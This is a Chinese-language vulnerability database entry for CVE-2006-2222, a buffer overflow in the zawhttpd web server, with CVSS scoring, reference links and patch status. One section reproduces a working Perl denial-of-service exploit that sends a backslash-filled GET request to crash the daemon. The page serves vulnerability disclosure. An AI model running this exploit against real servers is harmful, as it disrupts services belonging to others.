CVE-2006-2222
CVSS5.0
发布时间 :2006-05-05 15:02:00
修订时间 :2008-09-05 17:03:58
NMCOE    

[原文]Buffer overflow in zawhttpd 0.8.23, and possibly previous versions, allows remote attackers to cause a denial of service (daemon crash) via a request for a URI composed of several "\" (backslash) characters.


[CNNVD]zawhttpd HTTP GET 缓冲区溢出漏洞(CNNVD-200605-103)

        zawhttpd是一款小型的Web服务器程序。
        zawhttpd在处理用户请求时存在漏洞,远程攻击者可以发送特制的HTTP GET请求触发缓冲区溢出,导致zawhttpd进程崩溃。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2222
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-2222
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200605-103
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/17814
(UNKNOWN)  BID  17814
http://www.securityfocus.com/archive/1/archive/1/432955/100/0/threaded
(UNKNOWN)  BUGTRAQ  20060502 zawhttpd - Buffer Overflow
http://xforce.iss.net/xforce/xfdb/26257
(UNKNOWN)  XF  zawhttpd-get-dos(26257)
http://www.securiteam.com/exploits/5OP0315IKK.html
(UNKNOWN)  MISC  http://www.securiteam.com/exploits/5OP0315IKK.html
http://www.osvdb.org/25671
(UNKNOWN)  OSVDB  25671
http://securitytracker.com/id?1016030
(UNKNOWN)  SECTRACK  1016030
http://securityreason.com/securityalert/852
(UNKNOWN)  SREASON  852

- 漏洞信息

zawhttpd HTTP GET 缓冲区溢出漏洞
中危 缓冲区溢出
2006-05-05 00:00:00 2006-05-08 00:00:00
远程  
        zawhttpd是一款小型的Web服务器程序。
        zawhttpd在处理用户请求时存在漏洞,远程攻击者可以发送特制的HTTP GET请求触发缓冲区溢出,导致zawhttpd进程崩溃。

- 公告与补丁

        目前厂商还没有提供补丁或者升级程序,建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        http://www.norz.org/zawhttpd.html

- 漏洞信息 (1746)

zawhttpd <= 0.8.23 (GET) Remote Buffer Overflow DoS (EDBID:1746)
linux dos
2006-05-04 Verified
0 Kamil Sienicki
N/A [点击下载]
#!/usr/bin/perl
# zawhttpd Buffer Overflow Exploit
# by Kamil 'K3' Sienicki

use IO::Socket;
use strict;

my($socket) = "";

if($socket = IO::Socket::INET->new(
                PeerAddr => $ARGV[0],
                PeerPort => $ARGV[1],
                Proto => "TCP"))
{
        print "Attempting to kill zawhttpd at $ARGV[0]:$ARGV[1] ...";
        print $socket "GET \\\\\\\\\\\\\\\\\\\\ HTTP/1.0\r\n\r\n";
        close($socket);
}
else
{
        print "perl zawhttpd.pl localhost 80 \n";
        print "Cannot connect to $ARGV[0]:$ARGV[1]\n";
}
#EoF 

# milw0rm.com [2006-05-04]
		

- 漏洞信息

25671
zawhttpd GET Request Remote Overflow DoS
Remote / Network Access Denial of Service, Input Manipulation
Loss of Integrity, Loss of Availability
Exploit Public

- 漏洞描述

zawhttpd contains a flaw that may allow a remote denial of service. The issue is triggered when a malformed GET request containing numerous backslashes is received, and will result in loss of availability for the service.

- 时间线

2006-05-21 Unknow
Unknow Unknow

- 解决方案

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

- 相关参考

- 漏洞作者

 

 

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